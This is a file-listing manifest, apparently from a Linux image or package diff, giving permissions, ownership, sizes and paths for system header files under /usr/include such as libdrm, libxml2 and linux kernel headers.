+-rw-r--r-- root root 8052 ./usr/include/gobject-introspection-1.0/girepository.h
+-rw-r--r-- root root 3468 ./usr/include/gobject-introspection-1.0/girffi.h
+-rw-r--r-- root root 1696 ./usr/include/gobject-introspection-1.0/gisignalinfo.h
+-rw-r--r-- root root 2403 ./usr/include/gobject-introspection-1.0/gistructinfo.h
+-rw-r--r-- root root 2556 ./usr/include/gobject-introspection-1.0/gitypeinfo.h
+-rw-r--r-- root root 2327 ./usr/include/gobject-introspection-1.0/gitypelib.h
+-rw-r--r-- root root 14019 ./usr/include/gobject-introspection-1.0/gitypes.h
+-rw-r--r-- root root 2558 ./usr/include/gobject-introspection-1.0/giunioninfo.h
+-rw-r--r-- root root 1578 ./usr/include/gobject-introspection-1.0/giversion.h
+-rw-r--r-- root root 5730 ./usr/include/gobject-introspection-1.0/giversionmacros.h
+-rw-r--r-- root root 2572 ./usr/include/gobject-introspection-1.0/givfuncinfo.h
+-rw-r--r-- root root 6687 ./usr/include/grp.h
+-rw-r--r-- root root 4529 ./usr/include/gshadow.h
+-rw-r--r-- root root 1858 ./usr/include/iconv.h
+-rw-r--r-- root root 4916 ./usr/include/ieee754.h
+-rw-r--r-- root root 2841 ./usr/include/ifaddrs.h
+-rw-r--r-- root root 2446 ./usr/include/initreq.h
+-rw-r--r-- root root 11893 ./usr/include/inttypes.h
+drwxr-xr-x root root 4096 ./usr/include/iproute2
+-rw-r--r-- root root 1271 ./usr/include/iproute2/bpf_elf.h
+-rw-r--r-- root root 17849 ./usr/include/langinfo.h
+-rw-r--r-- root root 126 ./usr/include/lastlog.h
+drwxr-xr-x root root 4096 ./usr/include/libdrm
+-rw-r--r-- root root 31894 ./usr/include/libdrm/amdgpu_drm.h
+-rw-r--r-- root root 55079 ./usr/include/libdrm/amdgpu.h
+-rw-r--r-- root root 32818 ./usr/include/libdrm/drm_fourcc.h
+-rw-r--r-- root root 32306 ./usr/include/libdrm/drm.h
+-rw-r--r-- root root 24920 ./usr/include/libdrm/drm_mode.h
+-rw-r--r-- root root 2782 ./usr/include/libdrm/drm_sarea.h
+-rw-r--r-- root root 6977 ./usr/include/libdrm/etnaviv_drmif.h
+-rw-r--r-- root root 62951 ./usr/include/libdrm/i915_drm.h
+-rw-r--r-- root root 5933 ./usr/include/libdrm/intel_aub.h
+-rw-r--r-- root root 12892 ./usr/include/libdrm/intel_bufmgr.h
+-rw-r--r-- root root 1585 ./usr/include/libdrm/intel_debug.h
+-rw-r--r-- root root 7895 ./usr/include/libdrm/mach64_drm.h
+-rw-r--r-- root root 13010 ./usr/include/libdrm/mga_drm.h
+-rw-r--r-- root root 12105 ./usr/include/libdrm/msm_drm.h
+drwxr-xr-x root root 4096 ./usr/include/libdrm/nouveau
+-rw-r--r-- root root 5699 ./usr/include/libdrm/nouveau_drm.h
+-rw-r--r-- root root 7766 ./usr/include/libdrm/nouveau/nouveau.h
+drwxr-xr-x root root 4096 ./usr/include/libdrm/nouveau/nvif
+-rw-r--r-- root root 1785 ./usr/include/libdrm/nouveau/nvif/cl0080.h
+-rw-r--r-- root root 2062 ./usr/include/libdrm/nouveau/nvif/cl9097.h
+-rw-r--r-- root root 8789 ./usr/include/libdrm/nouveau/nvif/class.h
+-rw-r--r-- root root 769 ./usr/include/libdrm/nouveau/nvif/if0002.h
+-rw-r--r-- root root 645 ./usr/include/libdrm/nouveau/nvif/if0003.h
+-rw-r--r-- root root 3174 ./usr/include/libdrm/nouveau/nvif/ioctl.h
+-rw-r--r-- root root 1551 ./usr/include/libdrm/nouveau/nvif/unpack.h
+-rw-r--r-- root root 2555 ./usr/include/libdrm/omap_drmif.h
+-rw-r--r-- root root 4131 ./usr/include/libdrm/qxl_drm.h
+-rw-r--r-- root root 10000 ./usr/include/libdrm/r128_drm.h
+-rw-r--r-- root root 16388 ./usr/include/libdrm/r600_pci_ids.h
+-rw-r--r-- root root 1991 ./usr/include/libdrm/radeon_bo_gem.h
+-rw-r--r-- root root 2839 ./usr/include/libdrm/radeon_bo.h
+-rw-r--r-- root root 1678 ./usr/include/libdrm/radeon_bo_int.h
+-rw-r--r-- root root 1601 ./usr/include/libdrm/radeon_cs_gem.h
+-rw-r--r-- root root 5121 ./usr/include/libdrm/radeon_cs.h
+-rw-r--r-- root root 2179 ./usr/include/libdrm/radeon_cs_int.h
+-rw-r--r-- root root 38317 ./usr/include/libdrm/radeon_drm.h
+-rw-r--r-- root root 5968 ./usr/include/libdrm/radeon_surface.h
+-rw-r--r-- root root 7170 ./usr/include/libdrm/savage_drm.h
+-rw-r--r-- root root 2633 ./usr/include/libdrm/sis_drm.h
+-rw-r--r-- root root 14877 ./usr/include/libdrm/tegra_drm.h
+-rw-r--r-- root root 14457 ./usr/include/libdrm/vc4_drm.h
+-rw-r--r-- root root 16906 ./usr/include/libdrm/vc4_packet.h
+-rw-r--r-- root root 8244 ./usr/include/libdrm/vc4_qpu_defines.h
+-rw-r--r-- root root 8372 ./usr/include/libdrm/via_drm.h
+-rw-r--r-- root root 5010 ./usr/include/libdrm/virtgpu_drm.h
+-rw-r--r-- root root 32085 ./usr/include/libdrm/vmwgfx_drm.h
+-rw-r--r-- root root 19573 ./usr/include/libelf.h
+drwxr-xr-x root root 4096 ./usr/include/libfdisk
+-rw-r--r-- root root 29857 ./usr/include/libfdisk/libfdisk.h
+-rw-r--r-- root root 1386 ./usr/include/libgen.h
+drwxr-xr-x root root 4096 ./usr/include/libiberty
+-rw-r--r-- root root 14130 ./usr/include/libiberty/ansidecl.h
+-rw-r--r-- root root 27301 ./usr/include/libiberty/demangle.h
+-rw-r--r-- root root 2706 ./usr/include/libiberty/dyn-string.h
+-rw-r--r-- root root 2937 ./usr/include/libiberty/fibheap.h
+-rw-r--r-- root root 5890 ./usr/include/libiberty/floatformat.h
+-rw-r--r-- root root 27820 ./usr/include/libiberty.h
+-rw-r--r-- root root 7270 ./usr/include/libiberty/hashtab.h
+-rw-r--r-- root root 27820 ./usr/include/libiberty/libiberty.h
+-rw-r--r-- root root 3976 ./usr/include/libiberty/objalloc.h
+-rw-r--r-- root root 2824 ./usr/include/libiberty/partition.h
+-rw-r--r-- root root 5642 ./usr/include/libiberty/safe-ctype.h
+-rw-r--r-- root root 1209 ./usr/include/libiberty/sort.h
+-rw-r--r-- root root 6238 ./usr/include/libiberty/splay-tree.h
+-rw-r--r-- root root 1296 ./usr/include/libiberty/timeval-utils.h
+-rw-r--r-- root root 4580 ./usr/include/libintl.h
+drwxr-xr-x root root 4096 ./usr/include/libiptc
+-rw-r--r-- root root 360 ./usr/include/libiptc/ipt_kernel_headers.h
+-rw-r--r-- root root 5375 ./usr/include/libiptc/libip6tc.h
+-rw-r--r-- root root 5447 ./usr/include/libiptc/libiptc.h
+-rw-r--r-- root root 724 ./usr/include/libiptc/libxtc.h
+-rw-r--r-- root root 867 ./usr/include/libiptc/xtcshared.h
+-rw-r--r-- root root 9468 ./usr/include/libkmod.h
+drwxr-xr-x root root 4096 ./usr/include/libkms
+-rw-r--r-- root root 2571 ./usr/include/libkms/libkms.h
+drwxr-xr-x root root 4096 ./usr/include/libmnl
+-rw-r--r-- root root 8002 ./usr/include/libmnl/libmnl.h
+drwxr-xr-x root root 4096 ./usr/include/libmount
+-rw-r--r-- root root 36308 ./usr/include/libmount/libmount.h
+drwxr-xr-x root root 4096 ./usr/include/libpng16
+-rw-r--r-- root root 22846 ./usr/include/libpng16/pngconf.h
+-rw-r--r-- root root 142860 ./usr/include/libpng16/png.h
+-rw-r--r-- root root 7629 ./usr/include/libpng16/pnglibconf.h
+drwxr-xr-x root root 4096 ./usr/include/libsmartcols
+-rw-r--r-- root root 15473 ./usr/include/libsmartcols/libsmartcols.h
+-rw-r--r-- root root 3466 ./usr/include/libsync.h
+-rw-r--r-- root root 10327 ./usr/include/libudev.h
+drwxr-xr-x root root 4096 ./usr/include/libxml2
+drwxr-xr-x root root 4096 ./usr/include/libxml2/libxml
+-rw-r--r-- root root 3115 ./usr/include/libxml2/libxml/c14n.h
+-rw-r--r-- root root 4906 ./usr/include/libxml2/libxml/catalog.h
+-rw-r--r-- root root 5159 ./usr/include/libxml2/libxml/chvalid.h
+-rw-r--r-- root root 5152 ./usr/include/libxml2/libxml/debugXML.h
+-rw-r--r-- root root 1814 ./usr/include/libxml2/libxml/dict.h
+-rw-r--r-- root root 3157 ./usr/include/libxml2/libxml/DOCBparser.h
+-rw-r--r-- root root 8507 ./usr/include/libxml2/libxml/encoding.h
+-rw-r--r-- root root 4712 ./usr/include/libxml2/libxml/entities.h
+-rw-r--r-- root root 14670 ./usr/include/libxml2/libxml/globals.h
+-rw-r--r-- root root 6601 ./usr/include/libxml2/libxml/hash.h
+-rw-r--r-- root root 9410 ./usr/include/libxml2/libxml/HTMLparser.h
+-rw-r--r-- root root 3646 ./usr/include/libxml2/libxml/HTMLtree.h
+-rw-r--r-- root root 3348 ./usr/include/libxml2/libxml/list.h
+-rw-r--r-- root root 3758 ./usr/include/libxml2/libxml/nanoftp.h
+-rw-r--r-- root root 2005 ./usr/include/libxml2/libxml/nanohttp.h
+-rw-r--r-- root root 39718 ./usr/include/libxml2/libxml/parser.h
+-rw-r--r-- root root 17419 ./usr/include/libxml2/libxml/parserInternals.h
+-rw-r--r-- root root 2586 ./usr/include/libxml2/libxml/pattern.h
+-rw-r--r-- root root 5996 ./usr/include/libxml2/libxml/relaxng.h
+-rw-r--r-- root root 4949 ./usr/include/libxml2/libxml/SAX2.h
+-rw-r--r-- root root 4341 ./usr/include/libxml2/libxml/SAX.h
+-rw-r--r-- root root 26224 ./usr/include/libxml2/libxml/schemasInternals.h
+-rw-r--r-- root root 4371 ./usr/include/libxml2/libxml/schematron.h
+-rw-r--r-- root root 1958 ./usr/include/libxml2/libxml/threads.h
+-rw-r--r-- root root 38108 ./usr/include/libxml2/libxml/tree.h
+-rw-r--r-- root root 2664 ./usr/include/libxml2/libxml/uri.h
+-rw-r--r-- root root 13622 ./usr/include/libxml2/libxml/valid.h
+-rw-r--r-- root root 2967 ./usr/include/libxml2/libxml/xinclude.h
+-rw-r--r-- root root 5042 ./usr/include/libxml2/libxml/xlink.h
+-rw-r--r-- root root 3956 ./usr/include/libxml2/libxml/xmlautomata.h
+-rw-r--r-- root root 36809 ./usr/include/libxml2/libxml/xmlerror.h
+-rw-r--r-- root root 3759 ./usr/include/libxml2/libxml/xmlexports.h
+-rw-r--r-- root root 10605 ./usr/include/libxml2/libxml/xmlIO.h
+-rw-r--r-- root root 5945 ./usr/include/libxml2/libxml/xmlmemory.h
+-rw-r--r-- root root 1170 ./usr/include/libxml2/libxml/xmlmodule.h
+-rw-r--r-- root root 12607 ./usr/include/libxml2/libxml/xmlreader.h
+-rw-r--r-- root root 5458 ./usr/include/libxml2/libxml/xmlregexp.h
+-rw-r--r-- root root 2337 ./usr/include/libxml2/libxml/xmlsave.h
+-rw-r--r-- root root 7069 ./usr/include/libxml2/libxml/xmlschemas.h
+-rw-r--r-- root root 4841 ./usr/include/libxml2/libxml/xmlschemastypes.h
+-rw-r--r-- root root 5511 ./usr/include/libxml2/libxml/xmlstring.h
+-rw-r--r-- root root 9993 ./usr/include/libxml2/libxml/xmlunicode.h
+-rw-r--r-- root root 8035 ./usr/include/libxml2/libxml/xmlversion.h
+-rw-r--r-- root root 21265 ./usr/include/libxml2/libxml/xmlwriter.h
+-rw-r--r-- root root 16602 ./usr/include/libxml2/libxml/xpath.h
+-rw-r--r-- root root 19353 ./usr/include/libxml2/libxml/xpathInternals.h
+-rw-r--r-- root root 3359 ./usr/include/libxml2/libxml/xpointer.h
+-rw-r--r-- root root 5417 ./usr/include/limits.h
+-rw-r--r-- root root 7207 ./usr/include/link.h
+drwxr-xr-x root root 20480 ./usr/include/linux
+-rw-r--r-- root root 3733 ./usr/include/linux/acct.h
+-rw-r--r-- root root 1140 ./usr/include/linux/adb.h
+-rw-r--r-- root root 993 ./usr/include/linux/adfs_fs.h
+-rw-r--r-- root root 1544 ./usr/include/linux/affs_hardblocks.h
+-rw-r--r-- root root 3940 ./usr/include/linux/agpgart.h
+-rw-r--r-- root root 3398 ./usr/include/linux/aio_abi.h
+-rw-r--r-- root root 3681 ./usr/include/linux/am437x-vpfe.h
+drwxr-xr-x root root 4096 ./usr/include/linux/android
+-rw-r--r-- root root 789 ./usr/include/linux/android/binderfs.h
+-rw-r--r-- root root 14535 ./usr/include/linux/android/binder.h
+-rw-r--r-- root root 6892 ./usr/include/linux/a.out.h
+-rw-r--r-- root root 3683 ./usr/include/linux/apm_bios.h
+-rw-r--r-- root root 213 ./usr/include/linux/arcfb.h
+-rw-r--r-- root root 2751 ./usr/include/linux/arm_sdei.h
+-rw-r--r-- root root 1780 ./usr/include/linux/aspeed-lpc-ctrl.h
+-rw-r--r-- root root 1906 ./usr/include/linux/aspeed-p2a-ctrl.h
+-rw-r--r-- root root 1023 ./usr/include/linux/atalk.h
+-rw-r--r-- root root 952 ./usr/include/linux/atmapi.h
+-rw-r--r-- root root 1296 ./usr/include/linux/atmarp.h
+-rw-r--r-- root root 3271 ./usr/include/linux/atmbr2684.h
+-rw-r--r-- root root 576 ./usr/include/linux/atmclip.h
+-rw-r--r-- root root 7677 ./usr/include/linux/atmdev.h
+-rw-r--r-- root root 648 ./usr/include/linux/atm_eni.h
+-rw-r--r-- root root 7888 ./usr/include/linux/atm.h
+-rw-r--r-- root root 406 ./usr/include/linux/atm_he.h
+-rw-r--r-- root root 955 ./usr/include/linux/atm_idt77105.h
+-rw-r--r-- root root 1646 ./usr/include/linux/atmioc.h
+-rw-r--r-- root root 2381 ./usr/include/linux/atmlec.h
+-rw-r--r-- root root 4226 ./usr/include/linux/atmmpc.h
+-rw-r--r-- root root 1278 ./usr/include/linux/atm_nicstar.h
+-rw-r--r-- root root 639 ./usr/include/linux/atmppp.h
+-rw-r--r-- root root 4970 ./usr/include/linux/atmsap.h
+-rw-r--r-- root root 1853 ./usr/include/linux/atmsvc.h
+-rw-r--r-- root root 1622 ./usr/include/linux/atm_tcp.h
+-rw-r--r-- root root 1540 ./usr/include/linux/atm_zatm.h
+-rw-r--r-- root root 20759 ./usr/include/linux/audit.h
+-rw-r--r-- root root 4986 ./usr/include/linux/auto_dev-ioctl.h
+-rw-r--r-- root root 451 ./usr/include/linux/auto_fs4.h
+-rw-r--r-- root root 6428 ./usr/include/linux/auto_fs.h
+-rw-r--r-- root root 1496 ./usr/include/linux/auxvec.h
+-rw-r--r-- root root 2824 ./usr/include/linux/ax25.h
+-rw-r--r-- root root 1717 ./usr/include/linux/b1lli.h
+-rw-r--r-- root root 20373 ./usr/include/linux/batadv_packet.h
+-rw-r--r-- root root 16306 ./usr/include/linux/batman_adv.h
+-rw-r--r-- root root 883 ./usr/include/linux/baycom.h
+-rw-r--r-- root root 8425 ./usr/include/linux/bcache.h
+-rw-r--r-- root root 419 ./usr/include/linux/bcm933xx_hcs.h
+-rw-r--r-- root root 1905 ./usr/include/linux/bfs_fs.h
+-rw-r--r-- root root 628 ./usr/include/linux/binfmts.h
+-rw-r--r-- root root 1634 ./usr/include/linux/blkpg.h
+-rw-r--r-- root root 4701 ./usr/include/linux/blktrace_api.h
+-rw-r--r-- root root 5368 ./usr/include/linux/blkzoned.h
+-rw-r--r-- root root 1367 ./usr/include/linux/bpf_common.h
+-rw-r--r-- root root 138331 ./usr/include/linux/bpf.h
+-rw-r--r-- root root 465 ./usr/include/linux/bpfilter.h
+-rw-r--r-- root root 529 ./usr/include/linux/bpf_perf_event.h
+-rw-r--r-- root root 981 ./usr/include/linux/bpqether.h
+-rw-r--r-- root root 2494 ./usr/include/linux/bsg.h
+-rw-r--r-- root root 572 ./usr/include/linux/bt-bmc.h
+-rw-r--r-- root root 4624 ./usr/include/linux/btf.h
+-rw-r--r-- root root 29142 ./usr/include/linux/btrfs.h
+-rw-r--r-- root root 25245 ./usr/include/linux/btrfs_tree.h
+drwxr-xr-x root root 4096 ./usr/include/linux/byteorder
+-rw-r--r-- root root 3542 ./usr/include/linux/byteorder/big_endian.h
+-rw-r--r-- root root 3611 ./usr/include/linux/byteorder/little_endian.h
+drwxr-xr-x root root 4096 ./usr/include/linux/caif
+-rw-r--r-- root root 5832 ./usr/include/linux/caif/caif_socket.h
+-rw-r--r-- root root 1041 ./usr/include/linux/caif/if_caif.h
+drwxr-xr-x root root 4096 ./usr/include/linux/can
+-rw-r--r-- root root 4116 ./usr/include/linux/can/bcm.h
+-rw-r--r-- root root 6610 ./usr/include/linux/can/error.h
+-rw-r--r-- root root 8031 ./usr/include/linux/can/gw.h
+-rw-r--r-- root root 8213 ./usr/include/linux/can.h
+-rw-r--r-- root root 2207 ./usr/include/linux/can/j1939.h
+-rw-r--r-- root root 3993 ./usr/include/linux/can/netlink.h
+-rw-r--r-- root root 2858 ./usr/include/linux/can/raw.h
+-rw-r--r-- root root 232 ./usr/include/linux/can/vxcan.h
+-rw-r--r-- root root 11780 ./usr/include/linux/capability.h
+-rw-r--r-- root root 3124 ./usr/include/linux/capi.h
+-rw-r--r-- root root 3281 ./usr/include/linux/cciss_defs.h
+-rw-r--r-- root root 2761 ./usr/include/linux/cciss_ioctl.h
+-rw-r--r-- root root 28859 ./usr/include/linux/cdrom.h
+-rw-r--r-- root root 53535 ./usr/include/linux/cec-funcs.h
+-rw-r--r-- root root 36389 ./usr/include/linux/cec.h
+-rw-r--r-- root root 2219 ./usr/include/linux/cgroupstats.h
+-rw-r--r-- root root 5344 ./usr/include/linux/chio.h
+drwxr-xr-x root root 4096 ./usr/include/linux/cifs
+-rw-r--r-- root root 1225 ./usr/include/linux/cifs/cifs_mount.h
+-rw-r--r-- root root 1806 ./usr/include/linux/cm4000_cs.h
+-rw-r--r-- root root 3456 ./usr/include/linux/cn_proc.h
+-rw-r--r-- root root 18216 ./usr/include/linux/coda.h
+-rw-r--r-- root root 12549 ./usr/include/linux/coff.h
+-rw-r--r-- root root 2253 ./usr/include/linux/connector.h
+-rw-r--r-- root root 788 ./usr/include/linux/const.h
+-rw-r--r-- root root 674 ./usr/include/linux/coresight-stm.h
+-rw-r--r-- root root 3555 ./usr/include/linux/cramfs_fs.h
+-rw-r--r-- root root 5321 ./usr/include/linux/cryptouser.h
+-rw-r--r-- root root 905 ./usr/include/linux/cuda.h
+-rw-r--r-- root root 17108 ./usr/include/linux/cyclades.h
+-rw-r--r-- root root 2990 ./usr/include/linux/cycx_cfm.h
+-rw-r--r-- root root 25291 ./usr/include/linux/dcbnl.h
+-rw-r--r-- root root 6436 ./usr/include/linux/dccp.h
+-rw-r--r-- root root 14860 ./usr/include/linux/devlink.h
+-rw-r--r-- root root 5080 ./usr/include/linux/dlmconstants.h
+-rw-r--r-- root root 2543 ./usr/include/linux/dlm_device.h
+-rw-r--r-- root root 2553 ./usr/include/linux/dlm.h
+-rw-r--r-- root root 1159 ./usr/include/linux/dlm_netlink.h
+-rw-r--r-- root root 894 ./usr/include/linux/dlm_plock.h
+-rw-r--r-- root root 1448 ./usr/include/linux/dma-buf.h
+-rw-r--r-- root root 10988 ./usr/include/linux/dm-ioctl.h
+-rw-r--r-- root root 15191 ./usr/include/linux/dm-log-userspace.h
+-rw-r--r-- root root 4642 ./usr/include/linux/dn.h
+-rw-r--r-- root root 3949 ./usr/include/linux/dns_resolver.h
+-rw-r--r-- root root 8999 ./usr/include/linux/dqblk_xfs.h
+drwxr-xr-x root root 4096 ./usr/include/linux/dvb
+-rw-r--r-- root root 3550 ./usr/include/linux/dvb/audio.h
+-rw-r--r-- root root 4247 ./usr/include/linux/dvb/ca.h
+-rw-r--r-- root root 10177 ./usr/include/linux/dvb/dmx.h
+-rw-r--r-- root root 29244 ./usr/include/linux/dvb/frontend.h
+-rw-r--r-- root root 2127 ./usr/include/linux/dvb/net.h
+-rw-r--r-- root root 5937 ./usr/include/linux/dvb/osd.h
+-rw-r--r-- root root 1082 ./usr/include/linux/dvb/version.h
+-rw-r--r-- root root 7106 ./usr/include/linux/dvb/video.h
+-rw-r--r-- root root 5604 ./usr/include/linux/edd.h
+-rw-r--r-- root root 2227 ./usr/include/linux/efs_fs_sb.h
+-rw-r--r-- root root 2995 ./usr/include/linux/elfcore.h
+-rw-r--r-- root root 2586 ./usr/include/linux/elf-em.h
+-rw-r--r-- root root 1124 ./usr/include/linux/elf-fdpic.h
+-rw-r--r-- root root 13642 ./usr/include/linux/elf.h
+-rw-r--r-- root root 23 ./usr/include/linux/errno.h
+-rw-r--r-- root root 1572 ./usr/include/linux/errqueue.h
+-rw-r--r-- root root 1059 ./usr/include/linux/erspan.h
+-rw-r--r-- root root 74781 ./usr/include/linux/ethtool.h
+-rw-r--r-- root root 2743 ./usr/include/linux/eventpoll.h
+-rw-r--r-- root root 842 ./usr/include/linux/fadvise.h
+-rw-r--r-- root root 3584 ./usr/include/linux/falloc.h
+-rw-r--r-- root root 5369 ./usr/include/linux/fanotify.h
+-rw-r--r-- root root 16412 ./usr/include/linux/fb.h
+-rw-r--r-- root root 3438 ./usr/include/linux/fcntl.h
+-rw-r--r-- root root 11672 ./usr/include/linux/fd.h
+-rw-r--r-- root root 5420 ./usr/include/linux/fdreg.h
+-rw-r--r-- root root 2036 ./usr/include/linux/fib_rules.h
+-rw-r--r-- root root 2775 ./usr/include/linux/fiemap.h
+-rw-r--r-- root root 2216 ./usr/include/linux/filter.h
+-rw-r--r-- root root 44242 ./usr/include/linux/firewire-cdev.h
+-rw-r--r-- root root 3231 ./usr/include/linux/firewire-constants.h
+-rw-r--r-- root root 894 ./usr/include/linux/fou.h
+-rw-r--r-- root root 6103 ./usr/include/linux/fpga-dfl.h
+-rw-r--r-- root root 6104 ./usr/include/linux/fscrypt.h
+-rw-r--r-- root root 12205 ./usr/include/linux/fs.h
+-rw-r--r-- root root 2255 ./usr/include/linux/fsi.h
+-rw-r--r-- root root 7301 ./usr/include/linux/fsl_hypervisor.h
+-rw-r--r-- root root 4393 ./usr/include/linux/fsmap.h
+-rw-r--r-- root root 931 ./usr/include/linux/fsverity.h
+-rw-r--r-- root root 20407 ./usr/include/linux/fuse.h
+-rw-r--r-- root root 4993 ./usr/include/linux/futex.h
+-rw-r--r-- root root 897 ./usr/include/linux/gameport.h
+-rw-r--r-- root root 1923 ./usr/include/linux/genetlink.h
+-rw-r--r-- root root 1599 ./usr/include/linux/gen_stats.h
+drwxr-xr-x root root 4096 ./usr/include/linux/genwqe
+-rw-r--r-- root root 17802 ./usr/include/linux/genwqe/genwqe_card.h
+-rw-r--r-- root root 14651 ./usr/include/linux/gfs2_ondisk.h
+-rw-r--r-- root root 1442 ./usr/include/linux/gigaset_dev.h
+-rw-r--r-- root root 5753 ./usr/include/linux/gpio.h
+-rw-r--r-- root root 1144 ./usr/include/linux/gsmmux.h
+-rw-r--r-- root root 681 ./usr/include/linux/gtp.h
+-rw-r--r-- root root 971 ./usr/include/linux/hash_info.h
+drwxr-xr-x root root 4096 ./usr/include/linux/hdlc
+-rw-r--r-- root root 2908 ./usr/include/linux/hdlcdrv.h
+-rw-r--r-- root root 637 ./usr/include/linux/hdlc.h
+-rw-r--r-- root root 2657 ./usr/include/linux/hdlc/ioctl.h
+-rw-r--r-- root root 22703 ./usr/include/linux/hdreg.h
+-rw-r--r-- root root 6345 ./usr/include/linux/hiddev.h
+-rw-r--r-- root root 1901 ./usr/include/linux/hid.h
+-rw-r--r-- root root 1511 ./usr/include/linux/hidraw.h
+-rw-r--r-- root root 743 ./usr/include/linux/hpet.h
+drwxr-xr-x root root 4096 ./usr/include/linux/hsi
+-rw-r--r-- root root 3656 ./usr/include/linux/hsi/cs-protocol.h
+-rw-r--r-- root root 1895 ./usr/include/linux/hsi/hsi_char.h
+-rw-r--r-- root root 1081 ./usr/include/linux/hsr_netlink.h
+-rw-r--r-- root root 742 ./usr/include/linux/hw_breakpoint.h
+-rw-r--r-- root root 10569 ./usr/include/linux/hyperv.h
+-rw-r--r-- root root 1382 ./usr/include/linux/hysdn_if.h
+-rw-r--r-- root root 2612 ./usr/include/linux/i2c-dev.h
+-rw-r--r-- root root 7132 ./usr/include/linux/i2c.h
+-rw-r--r-- root root 11555 ./usr/include/linux/i2o-dev.h
+-rw-r--r-- root root 1528 ./usr/include/linux/i8k.h
+-rw-r--r-- root root 2975 ./usr/include/linux/icmp.h
+-rw-r--r-- root root 4083 ./usr/include/linux/icmpv6.h
+-rw-r--r-- root root 1886 ./usr/include/linux/if_addr.h
+-rw-r--r-- root root 721 ./usr/include/linux/if_addrlabel.h
+-rw-r--r-- root root 946 ./usr/include/linux/if_alg.h
+-rw-r--r-- root root 3717 ./usr/include/linux/if_arcnet.h
+-rw-r--r-- root root 6565 ./usr/include/linux/if_arp.h
+-rw-r--r-- root root 4839 ./usr/include/linux/if_bonding.h
+-rw-r--r-- root root 7266 ./usr/include/linux/if_bridge.h
+-rw-r--r-- root root 986 ./usr/include/linux/if_cablemodem.h
+-rw-r--r-- root root 351 ./usr/include/linux/ife.h
+-rw-r--r-- root root 1349 ./usr/include/linux/if_eql.h
+-rw-r--r-- root root 8227 ./usr/include/linux/if_ether.h
+-rw-r--r-- root root 1738 ./usr/include/linux/if_fc.h
+-rw-r--r-- root root 4372 ./usr/include/linux/if_fddi.h
+-rw-r--r-- root root 3019 ./usr/include/linux/if_frad.h
+-rw-r--r-- root root 10813 ./usr/include/linux/if.h
+-rw-r--r-- root root 4235 ./usr/include/linux/if_hippi.h
+-rw-r--r-- root root 1245 ./usr/include/linux/if_infiniband.h
+-rw-r--r-- root root 23649 ./usr/include/linux/if_link.h
+-rw-r--r-- root root 210 ./usr/include/linux/if_ltalk.h
+-rw-r--r-- root root 5832 ./usr/include/linux/if_macsec.h
+-rw-r--r-- root root 7955 ./usr/include/linux/if_packet.h
+-rw-r--r-- root root 424 ./usr/include/linux/if_phonet.h
+-rw-r--r-- root root 660 ./usr/include/linux/if_plip.h
+-rw-r--r-- root root 29 ./usr/include/linux/if_ppp.h
+-rw-r--r-- root root 3292 ./usr/include/linux/if_pppol2tp.h
+-rw-r--r-- root root 4879 ./usr/include/linux/if_pppox.h
+-rw-r--r-- root root 872 ./usr/include/linux/if_slip.h
+-rw-r--r-- root root 2600 ./usr/include/linux/if_team.h
+-rw-r--r-- root root 4098 ./usr/include/linux/if_tun.h
+-rw-r--r-- root root 4512 ./usr/include/linux/if_tunnel.h
+-rw-r--r-- root root 1831 ./usr/include/linux/if_vlan.h
+-rw-r--r-- root root 881 ./usr/include/linux/if_x25.h
+-rw-r--r-- root root 2819 ./usr/include/linux/if_xdp.h
+-rw-r--r-- root root 3064 ./usr/include/linux/igmp.h
+drwxr-xr-x root root 4096 ./usr/include/linux/iio
+-rw-r--r-- root root 1390 ./usr/include/linux/iio/events.h
+-rw-r--r-- root root 2114 ./usr/include/linux/iio/types.h
+-rw-r--r-- root root 1246 ./usr/include/linux/ila.h
+-rw-r--r-- root root 7505 ./usr/include/linux/in6.h
+-rw-r--r-- root root 4540 ./usr/include/linux/inet_diag.h
+-rw-r--r-- root root 9881 ./usr/include/linux/in.h
+-rw-r--r-- root root 3292 ./usr/include/linux/inotify.h
+-rw-r--r-- root root 25218 ./usr/include/linux/input-event-codes.h
+-rw-r--r-- root root 15964 ./usr/include/linux/input.h
+-rw-r--r-- root root 936 ./usr/include/linux/in_route.h
+-rw-r--r-- root root 163 ./usr/include/linux/ioctl.h
+-rw-r--r-- root root 4578 ./usr/include/linux/iommu.h
+-rw-r--r-- root root 3478 ./usr/include/linux/io_uring.h
+-rw-r--r-- root root 1953 ./usr/include/linux/ip6_tunnel.h
+-rw-r--r-- root root 2101 ./usr/include/linux/ipc.h
+-rw-r--r-- root root 4728 ./usr/include/linux/ip.h
+-rw-r--r-- root root 488 ./usr/include/linux/ipmi_bmc.h
+-rw-r--r-- root root 15049 ./usr/include/linux/ipmi.h
+-rw-r--r-- root root 3350 ./usr/include/linux/ipmi_msgdefs.h
+-rw-r--r-- root root 947 ./usr/include/linux/ipsec.h
+-rw-r--r-- root root 3967 ./usr/include/linux/ipv6.h
+-rw-r--r-- root root 1908 ./usr/include/linux/ipv6_route.h
+-rw-r--r-- root root 14135 ./usr/include/linux/ip_vs.h
+-rw-r--r-- root root 2347 ./usr/include/linux/ipx.h
+-rw-r--r-- root root 104 ./usr/include/linux/irqnr.h
+drwxr-xr-x root root 4096 ./usr/include/linux/isdn
+-rw-r--r-- root root 4783 ./usr/include/linux/isdn/capicmd.h
+-rw-r--r-- root root 6485 ./usr/include/linux/iso_fs.h
+-rw-r--r-- root root 5408 ./usr/include/linux/isst_if.h
+-rw-r--r-- root root 1207 ./usr/include/linux/ivtvfb.h
+-rw-r--r-- root root 3022 ./usr/include/linux/ivtv.h
+-rw-r--r-- root root 6815 ./usr/include/linux/jffs2.h
+-rw-r--r-- root root 3434 ./usr/include/linux/joystick.h
+-rw-r--r-- root root 822 ./usr/include/linux/kcm.h
+-rw-r--r-- root root 522 ./usr/include/linux/kcmp.h
+-rw-r--r-- root root 1099 ./usr/include/linux/kcov.h
+-rw-r--r-- root root 383 ./usr/include/linux/kdev_t.h
+-rw-r--r-- root root 6253 ./usr/include/linux/kd.h
+-rw-r--r-- root root 1019 ./usr/include/linux/kernelcapi.h
+-rw-r--r-- root root 438 ./usr/include/linux/kernel.h
+-rw-r--r-- root root 900 ./usr/include/linux/kernel-page-flags.h
+-rw-r--r-- root root 1873 ./usr/include/linux/kexec.h
+-rw-r--r-- root root 13459 ./usr/include/linux/keyboard.h
+-rw-r--r-- root root 5837 ./usr/include/linux/keyctl.h
+-rw-r--r-- root root 16263 ./usr/include/linux/kfd_ioctl.h
+-rw-r--r-- root root 46258 ./usr/include/linux/kvm.h
+-rw-r--r-- root root 968 ./usr/include/linux/kvm_para.h
